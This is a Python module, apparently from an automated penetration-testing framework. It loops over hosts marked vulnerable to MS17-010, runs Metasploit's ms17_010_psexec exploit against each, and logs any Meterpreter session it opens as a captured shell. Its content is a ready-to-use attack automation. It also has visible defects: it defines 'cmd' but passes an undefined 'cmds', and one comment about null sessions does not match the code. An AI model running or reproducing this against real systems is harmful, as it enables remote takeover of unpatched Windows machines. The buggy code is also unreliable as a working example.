import re

from core.msfActionModule import msfActionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class exploit_msf_ms17_010(msfActionModule):
    def __init__(self, config, display, lock):
        super(exploit_msf_ms17_010, self).__init__(config, display, lock)
        self.title = "Attempt to exploit MS17-010"
        self.shortName = "MSFms17-010"
        self.description = "execute [exploit/windows/smb/ms17_010_psexec] on each target"

        self.requirements = ["msfconsole"]
        self.triggers = ["ms17-010"]
        self.types = ["exploit"]
        
        self.safeLevel = 4

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('vuln/host/*/ms17-010')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)

                    cmd = {
                            'config':[
                                    "use exploit/windows/smb/ms17_010_psexec",
                                    "set TARGET 0",
                                    "set RHOST %s" % t
                                ],
                            'payload':'win'}
                    result, outfile = self.msfExec(t, cmds)

                    parts = re.findall(".*Meterpreter session (\d+) opened.*", result)
                    for part in parts:
                        self.fire("msfSession")
                        self.display.verbose("NEW session on : " + t)
                        kb.add("shell/" + t + "/msf/" + str(part))

        return
